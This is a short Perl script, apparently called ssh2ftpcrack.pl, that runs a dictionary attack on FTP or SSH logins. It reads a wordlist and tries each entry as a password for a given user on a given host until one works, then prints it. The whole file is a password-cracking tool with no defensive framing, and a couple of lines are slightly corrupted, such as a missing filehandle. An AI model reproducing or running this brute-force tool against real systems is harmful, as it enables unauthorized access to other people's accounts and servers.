#!/usr/bin/env perl

use Net::FTP;
use Net::SSH2;

$type = $ARGV[0];
$wordlist = $ARGV[3];
if (!$ARGV[0] || !$ARGV[1] || !$ARGV[2] || !$ARGV[3]) {
die "USAGE\nperl ssh2ftpcrack.pl [ftp or ssh] [user] [host] [wordlist]\n";
}
die "File not found :$!\n" unless open WORDLIST, "<", $wordlist; chomp(@palabras = );
close WORDLIST;
$rpalabras = \@palabras;
$numdepalabras = 0;
$numdepalabras++ foreach (@$rpalabras);
$numdepalabras = $numdepalabras - 1;
$rpalabras = undef;
$ftp;
$ssh;

$ftp = sub {
$user = shift;
$host = shift;
$Refpalabras = shift;
$cont = 0;
while ($cont <= $numdepalabras) { $pcont = $cont + 1; $tcont = $numdepalabras + 1; my $ftp = Net::FTP->new("$host", Debug => 0)
or die "- Failed to connect to $host -> [email protected]\n";
print "Connected-> trying $pcont of $tcont\n";
if ($ftp->login($user, $Refpalabras->[$cont])) {
die "Password is $Refpalabras->[$cont]\n";
}
$Refpalabras->[$cont] = undef;
$cont++;
$ftp->quit;
}
die "Password not found. Try a better word list\n\n";
};

$ssh = sub {
$user = shift;
$host = shift;
$Refpalabras = shift;
$cont = 0;
while($cont <= $numdepalabras) { $pcont = $cont + 1; $tcont = $numdepalabras + 1; my $ssh2 = Net::SSH2->new();
$ssh2->connect("$host") or die "Connection Failure: $!\n";
print "Trying $pcont of $tcont\n";
if ($ssh2->auth_password($user, $Refpalabras->[$cont])) {
die "Password is $Refpalabras->[$cont]\n";
}
$Refpalabras->[$cont] = undef;
$cont++;
$ssh2->disconnect();
}
die "Password not found. Try a better word list\n\n";
};

$ftp->("$ARGV[1]", "$ARGV[2]", \@palabras) if $type eq "ftp";
$ssh->("$ARGV[1]", "$ARGV[2]", \@palabras) if $type eq "ssh";